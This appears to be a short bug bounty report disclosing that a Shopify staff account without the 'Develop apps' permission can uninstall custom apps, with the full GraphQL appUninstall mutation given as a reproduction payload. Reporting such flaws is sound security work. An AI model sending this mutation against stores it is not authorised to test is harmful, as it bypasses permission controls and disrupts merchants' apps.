User with no Develop apps permission can Uninstall Custom App

How it was found

Hi,

You know user must have Develop apps permission to Uninstall Develop apps to test this just create staff with Manage and install apps and channels

{F1601504}

send this mutation just change appId by your id

{"operationName":"UninstallCustomApp","variables":{"appId":"gid://shopify/App/6431893"},"query":"mutation UninstallCustomApp($appId: ID!) {\n  appUninstall(input: {id: $appId}) {\n    app {\n      id\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}\n"}

Impact

User with no Develop apps permission can Uninstall Custom App